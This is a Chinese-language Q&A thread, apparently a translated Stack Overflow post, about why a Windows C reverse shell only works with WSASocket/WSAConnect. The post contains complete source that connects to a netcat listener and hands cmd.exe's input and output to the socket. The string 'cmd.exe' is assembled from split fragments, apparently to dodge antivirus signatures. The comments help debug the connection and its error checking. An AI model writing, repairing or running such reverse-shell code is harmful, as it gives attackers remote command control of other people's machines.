【发布时间】:2019-10-07 11:54:40
【问题描述】:
我正在用 C 语言尝试一些反向 shell 代码。它可以工作,但前提是我使用 WSAConnect() 和 WSASocket()。如果我改用socket() 或connect(),它就不起作用。这是为什么呢?
我总是用connect() 代替WSAConnect(),用socket() 代替WSASocket()。我知道我错过了一些东西。
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
WSADATA wsa;
SOCKET sock;
struct sockaddr_in server;
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
int main(int argc, char *argv[])
{
WSAStartup(MAKEWORD(2,2), &wsa);
// sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); This also doesn't work
sock = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
server.sin_family = AF_INET;
server.sin_port = htons(4942);
server.sin_addr.s_addr =inet_addr("127.0.0.1");
// connect(sock, (struct sockaddr*)&server, sizeof(server)); This doesn't work
WSAConnect(sock,(SOCKADDR*)&server, sizeof(server),NULL,NULL,NULL,NULL);
if (WSAGetLastError() == 0) {
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb=sizeof(sinfo);
sinfo.dwFlags=STARTF_USESTDHANDLES;
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)sock;
char *myArray[4] = { "cm", "d.e", "x", "e" };
char command[8] = "";
snprintf( command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);
CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
exit(0);
} else {
exit(0);
}
}
【问题讨论】:
-
WSAGetLastError在socket/connect失败后报告什么? -
都试过了。不会出现任何错误。如果我使用
socket();和connect();,shell 就不会弹出。 -
如果
socket()或connect()失败,WSAGetLastError()将不会返回 0,除非您在检索错误代码之前采取措施清除错误代码。请提供一个 minimal reproducible example 来证明socket()+connect()失败。您使用WSAGetLastError()来检查WSAConnect()是否失败的方式是错误的,除非WSAConnect()返回SOCKET_ERROR,否则不要调用WSAGetLastError(),您没有检查它。显示的代码没有正确进行任何错误检查。你需要解决这个问题。另外,您要准确连接到哪种 TCP 服务器?服务器是否在监听? -
服务器端为netcat。我得到“输出重试次数过多”
-
该消息意味着 netcat 无法向连接的客户端发送数据。它在 8200 次尝试写入数据失败后放弃(请参阅netcat source code)。但是您声称您的客户端甚至无法连接到 netcat。那么它是哪一个?要么你正在连接,要么你没有。很难知道,因为您的代码正在进行不正确的错误检查。您是否尝试过修复它?